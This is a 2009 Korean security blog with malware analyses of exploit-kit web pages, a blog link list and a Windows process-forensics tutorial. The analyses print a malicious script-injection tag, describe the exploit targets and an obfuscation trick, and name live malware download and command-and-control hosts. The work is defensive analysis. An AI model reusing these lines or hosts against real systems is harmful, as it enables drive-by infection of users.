0xFF small talk2009. 3. 10. 09:30

[출처] http://viruslab.tistory.com/542

MS08-067로 유명한 Conficker 웜의 어원이라네요..

이 도메인 많이 봤었는데 말이죠..

한동안 상승 곡선을 그리며 올라가다가 요즘은 차단되서 안올라가고 있죠..

그때 도메인이 하나 더 있었는데...www.maxmind.com

요 도메인은 정상 서비스하는 사이트라 차단 못했었죠..

물론 trafficconverter.biz보다 질의량도 훨씬 적기도 했지만요..

Posted by demantos
0x05 links2009. 3. 6. 12:42

http://swbae.egloos.com
이 바닥에서 모르는 사람이 없는 상우형님 블로그. 항상 좋은 정보를 제공해 주십니다.
게다가 정말 대박 동안 -_-;; (칫...부러우면 지는거다...)

http://zizihacker.egloos.com
코리아시큐리티 운영자. 맨날 때리신다. ㅜ.ㅜ
바로 옆사무실에 계셨는데 얼마전에 본사로 잠깐 파견가셨습니다.

http://aehwamong.tistory.com
iCrack 멤버. 몽형~
장신인데다가 한 인상 하시고...
리버싱, 웹해킹 관련 주옥같은 자료가 많음..

http://viruslab.tistory.com
제 블로그의 이름은 이분 블로그의 이름에서 영감을 많이 얻었죠..
뭐..LAB이라는 단어를 요새 많이 쓰긴 하지만요..
바이러스 관련 엑기스 정보들이 많음

http://xeraph.egloos.com
nchovy 운영자이십니다. 얼마전에 nchovy 사무실도 오픈하셨던데...
아마 이글 세랍님께서 보실겁니다. nchovy 블로고스피어에 연결되어 있거든요..ㅋㅋ

http://coderant.egloos.com
대부분의 블로그가(저도 그렇지만) 유행을 따라간다면 코더랜트님의 블로그는 유행이 없습니다.
좀 더 고차원적인??

http://fullc0de.egloos.com
블로그 제목이 멋집니다. Like The Learning Machine. 배우는 기계처럼??
지금도 인x섹에 계시는지 모르겠네요..

http://ykei.egloos.com
포렌식 관련 자료들이 넘쳐납니다. 너무 많아서 주체를 못할 정도지요..
포렌식에 관심이 많아 자주 들어가는 블로그 중 하나입니다.

http://ww0jeff.egloos.com  
우여곡절이 많은 분이십니다. 원래 blogspot에서 블로그 운영하셨었는데 사이트에 악성코드 있다고 블로그가 삭제가...
구글 검색에서도 위험한 사이트라고 나왔었지만 좋은 자료가 많았었던..
이글루스에서 다시 한번 좋은 정보를 제공해주시길..

http://hacked.tistory.com
최근 이슈들이나 취약점 등...(사실 잘 모르겠습니다 ㅜ.ㅜ)

http://somma.egloos.com
윈도우쪽 정보 찾다가 발견한 사이트입니다. 심심이라는 프로그램으로 유명하신분이죠..
프로그램 이름이 왜 심심이냐면 심심할때 개인적인 필요에 의해서 만들기 시작해서라고 합니다. -_-;;

http://micingamja.egloos.com
재미있는 블로그입니다. ㅋㅋ
특히 글 중간중간에 들어가 있는 그림들...그림에 약간 소질이 있으신듯...

http://popeye.egloos.com
뽀빠이 형님 블로그. 재미있는 에피소드라면 작년 해커송년회때 회사 회식으로 인해 약간 늦으셨던 지지해커형님이 오시자
대부분의 사람들 일동 기립~ 그러나 뽀빠이 형님만 그대로 착석하신 상태에서 한 말씀..
"난 안일어나도 되지?"  무슨 말인지 아시겠죠? ㅋㅋ

http://teamcrak.tistory.com
A3시큐리티 모의해킹팀(?)에서 만든 Team CR@K의 블로그입니다.
취약점 분석 등 좋은 정보들이 많죠..



간단히 몇개만(?) 적어봤습니다.

순서는 따로 없고 기억나는 순서대로...

간발의 차이로 egloos가 약간 앞섰네요..

개인적으론 티스토리가 좀 더 나은듯 합니다만...


블로그를 꾸준히 주시하다보면 새로운 이슈들도 빨리 접할 수 있고 새로운 기술들도 접할 수 있어서 좋습니다.

MalwareLAB도 누군가에게 그런 블로그가 되었으면 합니다.



정답은 무한삽질!!




Posted by demantos
0x02 analysis2009. 3. 5. 18:27

이번에도 네x버 SecurityPlus 까페에서 구한 샘플입니다.
까페 주인장이신 mirrk님께서 올려두셔서 받았었습니다.(작년 12월 30일날)
그냥 놔두고 있다고 오늘 다시 보게 되었습니다.
이미 분석이 끝나신 분들도 계시지만 개인적인 성취감을 위해 한번 덤벼봤습니다.


덤비긴 덤볐는데 초반부터 제가 몰렸습니다. -_-;;
악성스크립트를 그리 많이 본건 아니지만 지금까지 본 악성스크립트 중 최고로 독한놈인 듯 합니다.
첨부된 파일은 index와 check.html 파일 두개였습니다.

mirrk님의 글을 보면




다소 재밌는 구석(?)이라고 하셨지만 전혀 재미있지 않았습니다!!....(라고 말하고 싶지만 사실 좀 재미있긴 했습니다. 헤헤)

일단 index 파일부터 보시겠습니다. 내용이 길어 일부만 보여드리겠습니다. 대충 감만 잡으시길...




스크롤바를 보시면 아시겠지만 이러 내용이 두번 더 나옵니다. -_-;;
처음엔 눈 빠지는줄 알았습니다. 그나마 눈이 남들보다 조금 좋은편이라 다행이었습니다.

패턴을 확인해보니

알파벳대문자='~~~~~';

이런 형태였습니다. 즉 대문자가 변수인거죠..
그러다가 어느 정도 진행하다가 A+=O+P+E+C+B+M 와 같은 형태로 스크립트 코드를 전부 A라는 변수에 집어 넣고 있습니다.

딱히 다른 방법이 생각나지 않아 메모장에 붙녀 넣은 다음 '; 가 나오고 그 다음에 알파벳 대문자가 나오면 알파벳 앞에서 엔터를 쳐서 보기 좋게 정렬해 나갔습니다. 그런데 아무리해도 줄어들 기미가 보이질 않았습니다. 막막하더군요...

그러다 갑자기 생각났던게 vi 에디터였습니다. 요즘 리눅스에 좀 소홀히했더니 무뎌지나 봅니다.




:1s/';/';^M/g   ---> ^M은 ctrl+v를 누르시고 ctrl+m을 누르시면 됩니다.




변경되었습니다. 중간중간 하얀색선 안의 내용처럼 되는 부분이 있는데 몇개 안되니 직접 수정해주시면 됩니다.

대충 형태를 보니 알파벳 대문자로 변수 지정을 하고 원본 스크립트를 무작위로 쪼개서 변수에 할당합니다. 물론 순서에 맞기 않게 마구잡이로 섞어놨습니다. 순서대로 해놨으면 참 보기 쉬웠을텐데 말이죠.. 똑똑한건지 지독한건지...

이렇게 변수를 계속 할당하고 A에 append시킨 후 가장 마지막엔 eval() 함수를 사용해서 스크립트를 실행하고 있었습니다. 그래서 eval() 대신 document.write를 사용해서 실행되는 스크립트를 출력해보았습니다.




출력해보니 이번엔 좀 더 알아보기 쉽게 나오긴 했지만 아직도 복잡하군요...-_-;;




직접 실행시켜보니 에러가 나더군요..
아무래도 뭔가 좀 부족한가 봅니다.
계속 하고 싶지만 오늘은 제가 있는 곳이 너무 더워 그만 나가볼렵니다.
비도 오니 쏘주나 한잔~ ㅎㅎ

원본 코드 첨부하겠습니다.









Posted by demantos
0x02 analysis2009. 3. 4. 21:48

엊그제 네x버의 SecurityPlus 까페에 갔다가 획득하게 된 파일들입니다.
다운 받은 파일은 html과 js 파일이었는데 결국 하나의 파일을 통해 iframe이나 script로 연결된 파일들이었습니다.

가장 먼저 나오는놈부터 보겠습니다.

help.htm
<script src=http://125.xxx.xxx.xxx/ad/bir.js></script>
<script src="http://s17.cnzz.com/stat.php?id=1255205&web_id=1255205" language="JavaScript" charset="gb2312"></script>

bir.js 파일이 script 태그를 통해 삽입되고 있습니다. 바로 아래에는 익숙한 도메인이 보이는군요.. 현재 두번째 스크립트는 스크립트로써 동작하지 않고 그냥 텍스트 형태로 문자열만 보이고 있습니다.

그럼 bir.js 파일을 보도록 하겠습니다.



그냥 딱 보기에도 악성스크립트인게 보입니다. 정상적인 스크립트라면 이런식으로 인코딩하지 않겠죠..
뭔가 구린게 있으니 인코딩을 하는거겠죠?

인코딩된 내용을 디코딩해보니 브라우져가 MSIE 7버전이 아닌 경우에 MS06-014 취약점을 찾고 취약점이 있을 경우 tmg.htm 파일을 iframe으로 삽입합니다.
그리고 RealPlayer의 취약점을 찾고 RealPlayer의 버전이 6.0.14.802일 경우 so.htm을 6.0.14.552일 경우 sso.htm을 iframe으로 삽입합니다.
마지막으로 ie.htm을 iframe으로 삽입합니다.

결국 이 파일은 MS06-014 취약점과 RealPlayer 6.0.14.802와 6.0.14.552 버전의 취약점을 공격하는 스크립트입니다.


이번엔 is.htm 파일입니다.




첫번째 빨간 네모 안의 인코딩된 데이터는 쉘코드인 듯 합니다.
is.htm 파일의 처음부터 빨간 네모 있는 부분까지는 MS09-002 취약점을 공격하는 코드가 아닌가 생각됩니다.(방립동님 감사~)
방립동님께서 조언해주시면서 알려주신 사이트입니다. 참고하시면 도움이 되실듯...
http://www.hacker.com.cn/article/view_15004.html
http://blog.sina.com.cn/s/blog_4cbae5c50100c46d.html

혹시 이부분이 틀렸다면 지적해주세요~

그리고 두번째 빨간 네모 안의 인코딩된 데이터는 XML 파싱 취약점을 공격하는 코드입니다. 두번을 디코딩하면 다음과 같은 코드가 나옵니다.




이번에는 tmg.htm 파일입니다.



원래는 이것보다 더 길게 나오는데 짤렸습니다. tmg.htm은 packer로 패킹을 했기 때문에 언팩을 해야 합니다. 리버싱에서의 언팩이 아닙니다...-_-;;
http://dean.edwards.name/packer 에 가시면 패킹도 가능하고 언팩도 가능합니다.

언팩을 해보면




이번에도 디코딩해야 할게 두개가 있습니다. 하나는 실제 실행될 악성코드를 다운 받을 URL이구요 하나는 CLSID입니다. CLSID로 구글신께 질뭉을 드리면 MS06-014 취약점이라고 대답해주십니다.(구글신 만쉐~)

일단 URL의 파일을 받아 봤습니다. 그리고 실행해봤습니다.(꼭 vmware에서 하시기 바랍니다)

먼저 동일한 사이트(http://www.pinganye.net)에서 뭔가를 열심히 받아옵니다.



일단 다운 받을 파일의 목록(/css/img/List.txt)을 가져온 다음 파일을 받아옵니다. (maz.exe, daz.exe, haz.exe, paz.exe, oaz.exe)

Winalysis로 시스템 스냅샷을 뜬 후 img.exe를 실행하기 전과 비교해보니 상당히 많은 변화가 생겼습니다.
파일이 총 8개가 새롭게 생성되었고 레지스트리는 말할 것도 없습니다. 그리고 새로운 서비스도 생겼습니다.






아무래도 새로 생성된 8개의 파일은 다운 받았던 6개의 파일에 의해 생성된 듯 합니다. 그리고 서비스를 직접 확인해 봤습니다.






공격자들이 자주 애용하는 svchost -krnlsrvc가 보이구요
Windows Hardware Card는 설명이 너무 눈에 띄게 특이 하군요...-_-;;

우리의 영원한 동반자이자 친구인 Process Explorer에게 물어봤습니다... 쟤네들 도대체 지금 무슨 짓을 하고 있는지...




한놈은 계속 연결되어 있는데 한놈은 연결됐다가 끊기고를 반복하고 있었습니다.




http://sharetitt.3322.org:9012/20090030004/21000904/5366250.jsp 를 계속 요청하지만 sharetitt.3322.org는 없다고 합니다. 계속 RST 패킷만....


[추가증상]
저는 분석 시스템에서 보통 시스템폴더, 보호된 운영체제파일, 숨김파일등이 보이게끔 설정을 하곤 합니다. (개인노트북도 그렇지만...)
그런데 img.exe 이녀석...계속 숨김파일 및 폴더는 표시안함으로 설정을 되돌리는군요..
이러다간 다른 악성코드들까지 잘못하면 안보이겠네요..


Wireshark로 뜬 패킷 중에 DNS 질의하는 놈들만 골라봤습니다. 총 4개의 도메인을 질의하는데 그 중 한놈은 없다고 하네요...



www.honggu2009.com은 질의만 할 뿐 다른 행동은 하지 않았고 srily.vicp.net은 sharetitt.3322.org와 아이피가 같았습니다.
3322.org야 막혀 있으니 상관 없는데요 srily.vicp.net은 아직 sink hole 처리가 되어 있지 않군요.. 도메인 차단해야 할 듯 합니다.


img.exe 실행하면서 캡쳐했던 패킷은 첨부하겠습니다.


html 코드만 볼려다가 갑자기 이야기가 삼천포로 빠졌군요...-_-;;


다음은 so.htm과 sso.htm 파일입니다. 실제 파일 내용은 더 길지만 지면 관계상 짧게 잘랐습니다.






둘 다 RealNetworks RealPlayer ActiveX controls 취약점을 공격하는 코드입니다.
sso.htm 내용중 빨간색으로 표시된 부분 보이시죠? 유치한 방법을 사용했습니다.

"IEaaR"+"PCaaatl.I"+"EaaaRP"+"Ctaaal.1" 라고 쓴 후 바로 아래에서 a 라는 글자를 없애버립니다. 그런 IERPCtl.IERPCtl.1이라고 변환이 됩니다.
별게 아니라 생각되지만 점점 복잡하게 꽈놓는게 공격자들의 성향인 듯 합니다. 앞으로가 걱정...


마지막으로 ie.htm은 FlashPlayer 버전을 확인한 후 Antivir 백신의 설치와 업데이트를 방해합니다.(SecurityPlus musicalmman님)




마지막에 파란색으로 된 부분은 패킹되어 있는 부분입니다. 패킹을 풀면 플래시플레이어의 버전에 따른 행동들을 지정하고 있습니다.







윈도우 업데이트와 주요 어플리케이션들에 대한 패치가 이루어지지 않으면 공격을 받을 수 있습니다.
다른 말로 하자면 좀비가 될 수 있다는 것이지요..

흔히 PC방에서는 바이러스 걸렸다 싶으면 백업해놓은 걸로 한번 밀면 그만이라 합니다.
하지만 백업해놓은 걸로 다시 설치하면 재감염됩니다.

안일하고 잘못된 생각들이 좀비의 수를 늘리고 있습니다.
물론 ISP들은 그걸 막기 위해 삽질해서 숙주도메인 찾아서 막고 있습니다.

sharetitt.3322.org 막혔습니다. 이 놈 몇 주 전에 유심히 지켜봤던 기억이 나네요.
헌데 sharetitt.3322.org와 같은 아이피로 srily.vicp.net 도메인이 등록되어 있습니다.
그럼 ISP는 또 막겠죠? 그럼 공격자들은 또 다른 도메인을 찾을겁니다.

3322.org가 잘 안되니 optus.nu로 갈아타자~ 라는 지하세계의 공지가 있었다고 하니 3322.org를 막는다고 전부 해결되는게 아닙니다.
지금 optus.nu에 대한 질의가 점점 늘어나고 있습니다. 몇 달 뒤엔 optus.nu를 차단하는 일이 발생할 수도 있겠죠..



이상으로 정리가 잘 되지 않은 분석을 보시느라 수고하셨습니다. ^^;;

잘못된 부분이 있다면 지적해주시면 감사하겠습니다.

그리고 분석했던 htm 파일은 필요하신분들께 드리도록 하겠습니다.





Posted by demantos
0x01 malware forensics2009. 3. 2. 20:39

3. Collecting Process Information

대부분의 악성코드들은 프로세스에서 확인할 수 있다. 공격자들이 발각되지 않고 감염된 시스템을 제어할려고 하는 것처럼 악성코드 프로세스들도 위장된 이름을 사용하거나 "scvhost"와 같이 애매한 프로세스 이름을 사용하여 자신들을 은닉시키려고 한다. scvhost라는 프로세스 이름(파일명)도 사용하지만 svch0st나 suvhost와 같은 이름도 사용한다. 즉, 분석자들은 프로세스 이름을 대충 보아서는 안되고 세심하게 살펴 보아야 한다.

프로세스에 대한 정보와 그 프로세스들이 다른 정보들과 어떤 연관성이 있는지 알아야 한다. 프로세스와 관련된 정보 수집에서는 다음과 같은 세부사항들을 수집한다.

  - 프로세스 이름과 PID
  - Temporal Context
  - 메모리 사용량
  - 프로세스를 실행 중인 프로그램
  - 프로세스를 실행 중인 사용자
  - 자식 프로세스
  - 불려진 라이브러리(dll)와 종속된 파일
  - 프로세스 실행에 사용된 명령줄 인자
  - 연관된 핸들
  - 프로세스의 메모리 내용
  - 시스템의 상태와 다른 정보들과 연관성 있는 문맥


3.1 Process Name and Process Identification(PID)

프로세스 정보를 수집하는 첫번째 단계는 어떤 프로세스들이 실행되고 있는지 파악하는 것이다. 일반적으로 이름이나 PID에 대해서 먼저 파악한다.
프로세스 정보를 확인하는 다양한 툴들이 있다. 비록 이런 툴들이 중복되는 기능들이 있긴 하지만 여러가지 툴들을 같이 사용하는 것이 좋다. 똑똑한 악성코드들은 시스템의 실행중인 프로세스들을 스캔하여 안티바이러스 프로세스나 방화벽, 침해사고대응 툴들이 실행중인지 확인해서 이런 프로세스들을 죽일려고 할 것이다.

가장 간단하게 프로세스에 대한 정보를 수집하는 방법은 tlist를 사용하는 것이다. tlist는 Windows Debugging Tool 패키지 안에 포함되어 있다.

Debugging Tools for Windows 32-bit

http://www.microsoft.com/whdc/devtools/debugging/installx86.mspx#a



-t 옵션을 사용하면 트리형태로 보여준다. tlist /? 명령을 실행하면 사용 가능한 옵션들을 더 볼 수 있다.

그리고 비슷한 기능을 하는 PRCView가 있다. PRCView는 http://www.teamcti.com/pview/prcview.htm 에서 다운 받을 수 있다.



필자는 process explorer에 익숙해져 있어서 PRCView를 그리 자주 사용하지 않을 것 같다. 하지만 PRCView도 많은 기능들을 제공하고 있다. 특히 마음에 드는 기능은 Process Monitor 기능이다. Tools --> Process Monitor를 선택하면 프로세스 모니터를 실행시킨 이후에 실행되는 프로세스들을 순서대로 보여준다.



tlist만으로는 분석자에게 약간 정보가 부족할 수 있다. 분석자에게 프로세스가 실행중인 시간 또한 중요하다. tlist는 프로세스 실행 시간에 관련된 정보가 없다. 물론 PRCView에서는 Start Time과 End Time이 있긴 하지만...
프로세스 지속 시간은 시스템 uptime이나 프로세스가 연결된 타임라인과 같은 다른 의미있는 시스템 정보와 비교될 수 있다. 그리고 새로운 서비스의 추가라던지 네트워크 연결, 의심가는 이벤트 뷰어 로그, Prefetch 파일 엔트리와 같은 시스템 이벤트와도 비교될 수 있다.

이런 프로세스의 실행 시간은 pslist 명령을 통해서 확인할 수 있다. pslist는 PsTools suite에서 구할 수 있다.



그리고 우리는 특정 프로세스가 사용 중인 시스템 리소스를 알고 싶어할 수 있다. 종종 악성코드들은이 활성화되면 눈에 띄게 리소스를 소비한다. 특히, 램 용량이 2기가 미만인 경우에...
메모리 사용량을 확인할 수 있는 툴도 여러가지가 있는데 그 중에서 특히 다재다능한(^^) 툴이 윈도우에 기본으로 내장된 tasklist라는 툴이다. tasklist는 우리가 흔히 알고 있는 작업관리자(taskmgr)의 CLI 버전이라고 생각하면 되겠다.



위 명령들보다 좀 더 세부적인 내용을 보여주는 툴로 pmon, pstat, memsnap 과 같은 툴들이 있다. 모두 Windows XP Service Pack 2 Support Tools 패키지에서 구할 수 있다. http://www.microsoft.com/downloads/details.aspx?FamilyID=49ae8576-9bb9-4126-9761-ba8011fabf38&displaylang=en


3.2 Process to Executable Program Mapping: Full System Path to Executable File

실행중인 프로세스를 확인하고 나면 프로세스 타임라인이나 모메리 소묘량 같은 부가적인 정보를 획득하고 나면 어떤 프로세스가 악의적인 프로세스인지 판단해야 한다. 이런 프로세스에 대한 정확한 정보를 획득하기 위해서 각각의 프로세스들의 실행 이미지가 어느 위치에 존재하고 있는지(즉, 실행 파일이 어느 폴더에 있는지) 알아야 한다. 실행 중인 프로세스에 대한 개요와 실행 파일의 위치 정보를 획득하려면 PRCView를 사용하면 된다.

PRCView는 위에서 확인했었다. PRCView 폴더에 보면 pv.exe라는 명령이 있는데 -e 옵션을 사용하면 PRCView와 비슷한 결과를 확인할 수 있다.




실행 중인 프로세스에 대한 좀 더 자세한 정보를 얻고 싶다면 CurrProcess라는 프로그램을 사용할 것을 추천한다. CLI 모드에서 사용하려면 /stext 옵션과 결과를 저장한 파일경로와 파일명을 써주면 된다.

http://www.nirsoft.net/utils/cprocess.html

 

그리고 특정 프로세스에 대한 정보를 텍스트 파일로 저장할 수 있다.



의심이 가는 파일이 있다면 선택한 후 내용을 저장해서 확인할 수 있다.



svchost.exe 프로세스의 프로덕트 네임이나 회사명을 보면 mIRC라고 되어 있는 것을 확인할 수 있고 숨겨진 윈도우가 2개 있다는 것도 확인할 수 있다. 또한 파일의 속성이 보관파일(A), 읽기전용(R), 숨김파일(H), 시스템파일(S)의 속성을 가지고 있는 것도 확인할 수 있다.


Process to User Mapping
프로세스를 시작한 실행 파일을 찾는 과정에서 해당 프로세스의 소유자를 알아야 한다. 정상적이지 않은 사용자나 권한이 상승된 사용자가 실행 중인 프로세스는 악의적인 프로세스라는 것을 의미한다. 그렇다면 특정 프로세스가 어떤 사용자에 의해 실행되고 있는지 확인하려면 tasklist -V 명령을 사용하면 된다. 이 명령을 통해 프로세스, 프로그램이름, PID, 메모리 사용량, 프로그램 상태, 사용자이름 등을 확인할 수 있다.


 
여기서 한자기 문제점은 해당 프로세스를 실행하고 있는 사용자가 정상적인 사용자인지 정확히 구분할 수 있어야 한다는 것이다. 우리가 최소한 알아두어야 할 것은 시스템 계정에 의해서 실행되는 프로세스가 어떤 것이 있는지이다. 악성코드들이 자신의 존재를 숨기기 위해 가장 많이 사용되는 방법이 시스템 프로세스와 동일한 이름을 사용하거나 비슷한 이름을 사용하는 것이다(언뜻 봐서는 잘 구분이 안가는 비슷한 이름).

Windows 2000 기본 프로세스(http://support.microsoft.com/kb/263201/ko)에 대해서 잠깐 언급을 하고 가겠다. Windows 2000뿐만 아니라 Windows XP에서도 거의 동일하다.

 프로세스 이름  설 명  소유자 
 csrss.exe 이 프로세스는 Win32 하위 시스템의 사용자 모드 부분이다(Win32.sys는 커널 모드 부분임). Csrss는 클라이언트/서버 런타임 하위 시스템(Client/Server Run-time Subsystem)을 나타내며 항상 실행되어야 하는 필수적인 하위 시스템이다. Csrss는 콘솔 창, 스레드 생성과 삭제 및 16비트 가상 MS-DOS 환경의 일부를 담당한다.  NT AUTHORITY\SYSTEM
 explorer.exe 이 프로세스는 친숙한 작업 표시줄, 바탕 화면 등으로 표시되는 사용자 셸이다. 이 프로세스는 생각하는 것만큼 Windows를 실행하는 데 필수적이지는 않으며 대개 시스템에 부정적인 영향을 미치지 않고 작업 관리자에서 중지하고 다시 시작할 수 있다.  HOSTNAME\Administrator
 internat.exe Internat.exe는 시동 시에 실행되어 사용자가 지정한 다양한 입력 로캘을 로드한다. 다음 레지스트리 키에서 현재 사용자에 대해 로드할 로캘을 가져온다.
    HKEY_CURRENT_USER\Keyboard Layout\Preload
Internat.exe는 시스템 트레이로 "EN" 아이콘을 로드하여 사용자가 로캘을 쉽게 전환할 수 있도록 한다. 이 아이콘은 프로세스가 중지되면 사라지지만 제어판을 통해 로캘을 변경할 수 있다.

참고 "시스템"에 대한 로캘이 다음에서 로드된다.
    HKEY_USERS\.DEFAULT\Keyboard Layout\Preload
이러한 로캘은 로그온한 사용자가 없는 경우(예: 로그온 프롬프트에서)나 로컬 시스템 계정에서 실행 중인 시스템 서비스에서 사용된다.
 HOSTNAME\Administrator
 lsass.exe 로컬 보안 인증 서버인 이 프로세스는 Winlogon 서비스에 대해 사용자를 인증하는 프로세스를 생성한다. 이 프로세스는 기본 Msgina.dll 같은 인증 패키지를 사용하여 수행된다. 인증에 성공하면 Lsass는 초기 셸을 시작하는 데 사용되는 사용자의 액세스 토큰을 생성한다. 사용자가 시작하는 다른 프로세스는 이 토큰을 상속한다.  NT AUTHORITY\SYSTEM
 mstask.exe 이 프로세스는 사용자가 미리 정한 시간에 작업을 실행하는 일을 담당하는 작업 스케줄러 서비스이다.  NT AUTHORITY\SYSTEM
 smss.exe 이것은 사용자 세션의 시작을 담당하는 세션 관리자 하위 시스템이다. 이 프로세스는 시스템 스레드에서 시작되며 Winlogon 및 Win32(Csrss.exe) 프로세스의 시작과 시스템 변수 설정을 비롯한 다양한 작업을 수행한다. Smss.exe는 이러한 프로세스를 시작한 후 Winlogon이나 Csrss가 끝나기를 기다린다. 이것이 "정상적으로" 이루어지면 시스템이 종료되지만 예기치 않은 동작이 일어나면 Smss.exe는 시스템이 응답을 중지하도록 한다.  NT AUTHORITY\SYSTEM
 spoolsv.exe 이 스풀러 서비스는 스풀링된 인쇄/팩스 작업 관리를 담당한다.  NT AUTHORITY\SYSTEM
 svchost.exe 이것은 DLL에서 실행되는 다른 프로세스의 호스트 역할을 하는 일반 프로세스이므로 이 프로세스 항목은 둘 이상 표시될 수 있다. Svchost.exe를 사용 중인 프로세스를 확인하려면 Windows 2000 CD-ROM에서 Tlist.exe를 사용하면 된다. 명령줄 프롬프트에서의 구문은 tlist -s이다.
http://support.microsoft.com/kb/250320/
 NT AUTHORITY\SYSTEM
 NT AUTHORITY\NETWORK SERVICE
 NT AUTHORITY\LOCAL SERVICE
 services.exe 이 프로세스는 시스템 서비스의 시작, 중지 및 시스템 서비스와의 상호 작용을 담당하는 서비스 제어 관리자이다.  NT AUTHORITY\SYSTEM
 system 대부분의 시스템 커널 모드 스레드가 System 프로세스로 실행된다.  NT AUTHORITY\SYSTEM
 system idle
 process
이 프로세스는 각 프로세서에서 실행되는 단일 스레드로 시스템이 다른 스레드를 처리하지 않을 때의 프로세서 시간을 나타내는 일만 한다. 일반적으로 작업 관리자에서 이 프로세스가 프로세서 시간의 대부분을 차지한다.  NT AUTHORITY\SYSTEM
 winlogon.exe 이것은 사용자 로그온과 로그오프를 관리하는 프로세스이다. Winlogon은 사용자가 Ctrl+Alt+Del을 누를 때만 활성화되어 보안 대화 상자를 표시한다.  NT AUTHORITY\SYSTEM
 winmgmt.exe Winmgmt.exe는 Windows 2000에서 클라이언트 관리의 핵심 구성 요소이다. 이 프로세스는 첫 번째 클라이언트 응용 프로그램이 연결되거나 관리 응용 프로그램이 서비스를 요청할 때 지속적으로 초기화한다.  NT AUTHORITY\SYSTEM

주의할 점은 파일명이 같다고 해서 꼭 시스템에서 실행 중인 정상적인 프로세스라고 단정지을 수 없다는 것이다.


Child Process
악성코드들은 종종 자식 프로세스를 만들어낸다. 분석 도중 의심스러운 프로세스를 발견하면 그 프로세스에 대한 부모 프로세스와 자식 프로세스에 대해서 분석하려고 할 것이다. 이런 경우 pslist -t 명령을 통해 리눅스의 pstree와 같이 트리 형태로 프로세스를 볼 수 있다. 혹은 tlist -t 명령이나 pv -t(PRCView의 CLI) 명령을 통해서도 확인할 수 있다.

개인적으로 프로세스를 트리 형태로 확인하는 경우 process explorer를 추천한다.



 
Command-line Parameters
악성 프로세스에 대한 정보가 이미 있다면 해당 프로세스에서 사용하고 있는 command-line parameter에 대한 정보는 상당히 유요할 수 있다. DiamondCS에서 개발한 cmdline이라는 프로그램을 사용하면 특정 프로세스에서 사용중인 명령줄 인자값을 확인하는데 좋은 프로그램이다. http://www.diamondcs.com.au/consoletools.php



이 프로그램은 PID, 절대경로, 각각의 프로세스와 연관된 실행 파일을 보여준다. -pid 옵션을 사용하면 특정 프로세스에 대한 정보만 보여준다. 이와 유사한 명령으로는 tlist -c 나 pv -l 명령이 있다. 그리고 process explorer의 컬럼을 지정하는 옵션에서 command line 항목을 체크해주면 process explorer에서도 동일한 결과를 확인할 수 있다.




File Handles
파일이나 쓰레드, 그래픽 이미지와 같은 시스템 리소스는 일반적으로 객체(object)로 여겨지는 데이터 구조이다. 프로그램들은 객체 데이터에 직접적으로 접근할 수 없고 객체 핸들(object handle)에 의해서 접근할 수 있다. 각각의 핸들은 핸들 테이블에 의해 내부적으로 관리되는 엔트리를 가지고 있다. 핸들 테이블은 리소스 타입을 의미하는 리소스의 주소를 가지고 있다.

어떤 프로세스가 어떤 핸들을 사용하고 있는지에 대한 정보는 handle 명령을 통해서 확인할 수 있다. 이 명령은 Sysinternals 패키지에 포함되어 있다.
실행 중인 모든 프로세스에 대한 핸들은 -a 옵션을 사용해서 모든 핸들의 정보를 얻을 수 있다.

 spoolsv (PID 1600)  spoolsv (PID 864)
<excerpt>
spoolsv.exe pid: 1000 NT AUTHORITY\SYSTEM
C: File (RW-) C:\WINDOWS\system32
10: Section
14: Directory \Windows
18: Port
1C: Key HKLM
20: Directory \BaseNamedObjects
24: Mutant \Windows\WindowStations\WinSta0
38: Event
3C: Semaphore
40: Semaphore
44: Key HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32
48: Event \BaseNamedObjects\DINPUTWINMM
4C: File (---) \Device\KsecDD
50: Event
54: Event
58: Event
5C: Semaphore \BaseNamedObjects\shell.{A48F1A32-A340-11D1-BC6B-00A0C90312E1}
60: File (---) \Device\NamedPipe\net\NtControlPipe7
A8: File (---) \Device\NamedPipe\spoolss
AC: File (---) \Device\NamedPipe\spoolss
 <excerpt>
spoolsv.exe pid: 864 demantos\r00t
C: File (RW-) C:\WINDOWS\Temp\spoolsv
614: Port
618: Event
624: File (---) \Device\Afd\Endpoint
628: File (---) \Device\Tcp
630: File (---) \Device\Tcp
634: Event
638: File (---) \Device\Tcp
63C: Event
640: File (---) \Device\Tcp
644: Event
648: Event
64C: Port
650: Event
654: Token NT AUTHORITY\NETWORK SERVICE:3e4
658: Event
65C: Port
660: File (---) \Device\Tcp
664: File (---) \Device\Tcp
668: File (---) \Device\NetBT_Tcpip_{2DC00E6E-AD51-4E04-85A1-101876F63F96}
670: Event
78C: Key HKLM\SYSTEM\ControlSet001\Services\WinSock2\Parameters\NameSpace_Catalog5
790: Event
794: Key HKLM\SYSTEM\ControlSet001\Services\WinSock2\Parameters\Protocol_Catalog9


위 예제는 정상적인 spoolsv 프로세스와 악성코드로 동작하는 spoolsv의 핸들을 비교한 것이다. 의심스러운 spoolsv는 네트워크와 관련된 리소스에 접근하고 있는 것을 확인할 수 있다.

그리고 핸들 정보를 수집하는 다른 프로그램으로 Microsoft에서 배포하는 Open Handles(oh.exe)라는 프로그램이 있다.
http://www.microsoft.com/downloads/details.aspx?FamilyID=275D9F7A-83B2-4FB1-9B6A-DE8D28F72329&displaylang=en 


3.3 Dependencies Loaded by Running Processes

동적으로 링크된 실행 프로그램들이 제대로 실행되려면 공유 라이브러리들이 필요하다. 윈도우 프로그램에서 이런 공유 라이브러리는 DLL(Dynamic Link Labraries)이라 불리며 프로그램이 실행될 때 운영체제를 통해서 가져온다. DLL들이 불려질 때 정적으로(statically) 링킹되는 것보다 동적으로(dynamically) 링키되는 것이 훨씬 더 작고 시스템 메모리의 소모량도 더 적다.

실행 중인 프로세스에 의해 로드된 DLL을 확인하는 좋은 프로그램은 listdlls이다. listdlls는 Sysinternals 패키지에 포함되어 있다. listdlls 명령을 통해 각각의 모듈의 절대 경로를 확인할 수 있다.



프로세스에 의해 로딩된 DLL을 찾아내는 것은 분석에 아주 유용하다. 많은 악성코드들이 스스로를 실행시키기 보다는 DLL 형태로 제작되어 주요 시스템 프로세스에 Injection 되어 실행된다(DLL Injection). 이 공격 기법이 적용된 대표적인 루트킷이 Vanquish이다(rootkit.com에서 찾을 수 있다).

tlist나 PRCView, tasklist, WinInterrogate와 같은 프로그램에서도 실행 중인 프로세스에 의해 로딩된 DLL들을 확인할 수 있다.

WinInterrogate.exe
http://sourceforge.net/project/shownotes.php?release_id=122552&group_id=15870


Exported DLLs
